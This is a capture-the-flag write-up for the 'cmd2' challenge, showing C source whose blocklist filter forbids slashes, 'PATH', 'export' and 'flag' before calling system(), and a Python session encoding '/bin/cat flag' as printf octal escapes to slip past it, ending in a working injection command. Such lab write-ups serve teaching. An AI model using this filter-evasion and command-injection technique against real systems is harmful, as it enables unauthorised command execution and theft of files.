writeup — cmd2

This one is a very interesting challenge. Look at its source code:

int filter(char* cmd){
int r=0;
r += strstr(cmd, "=")!=0;
r += strstr(cmd, "PATH")!=0;
r += strstr(cmd, "export")!=0;
r += strstr(cmd, "/")!=0;
r += strstr(cmd, "`")!=0;
r += strstr(cmd, "flag")!=0;
return r;
extern char** environ;
void delete_env(){
char** p;
for(p=environ; *p; p++) memset(*p, 0, strlen(*p));
int main(int argc, char* argv[], char** envp){
if(filter(argv[1])) return 0;
printf("%s\n", argv[1]);
system( argv[1] );
return 0;

We notice that:

  1. All environment variables are unset and $PATH is set to a non-existing directory, which means we can not use $SHELL or $PWD etc.. either.
  2. The filter is now improved, any slash is prohibited now. This is a very strict one, because filtering a word like “flag” is pretty easy to bypass with a simple wildcard but this single character is not. This literally forbids us using path, either the path to a command or the path to the flag, or even the current directory…

There are not many choices here, think about it: which command does not either rely on $PATH or need a path at all? Shell builtin commands!!

With bash, you can easily find all the builtin commands by help . Looking at them, which ones could we pick?

pwd? But we still have to use a slash for concatenation.

source? Good!! We could source our own shell script to setup the original $PATH, right? But the problem is that “/bin/sh” is not bash but dash, dash does not have source but has . which still relies on $PATH or a path you tell it… Sigh, we can’t use it either.

Looks like we have to pass the slash filter. Look at the source code again, it checks for /, so maybe we can pass something else for /? How about its ASCII value? What about using echo and printf?

It is easy to rule out echo because the echo from dash does not support backslash characters. We can only use printf although it only supports octal numbers:

\num    Write an 8-bit character whose ASCII value is the
1-, 2-, or 3-digit octal number num.

This is enough. Now let’s encode the command string we want to execute into octal numbers, with python:

$ ~> python   
Python 2.7.13 (default, Mar 22 2017, 12:31:17) [GCC] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> s = "/bin/cat flag"
>>> [str(oct(ord(c))) for c in s]
['057', '0142', '0151', '0156', '057', '0143', '0141', '0164', '040', '0146', '0154', '0141', '0147']
>>> [str(oct(ord(c))).lstrip('0') for c in s]
['57', '142', '151', '156', '57', '143', '141', '164', '40', '146', '154', '141', '147']
>>> [(chr(92) + str(oct(ord(c))).lstrip('0')) for c in s]
['\\57', '\\142', '\\151', '\\156', '\\57', '\\143', '\\141', '\\164', '\\40', '\\146', '\\154', '\\141', '\\147']
>>> "".join([(chr(92) + str(oct(ord(c))).lstrip('0')) for c in s])
>>> print "".join([(chr(92) + str(oct(ord(c))).lstrip('0')) for c in s])

Now pass this octal-number string to cmd2 with carefully taking care of double and single quotes:

$ ./cmd2 '$(printf "\57\142\151\156\57\143\141\164\40\146\154\141\147")'

Now you can see the flag!

One clap, two clap, three clap, forty?

By clapping more or less, you can signal to us which stories really stand out.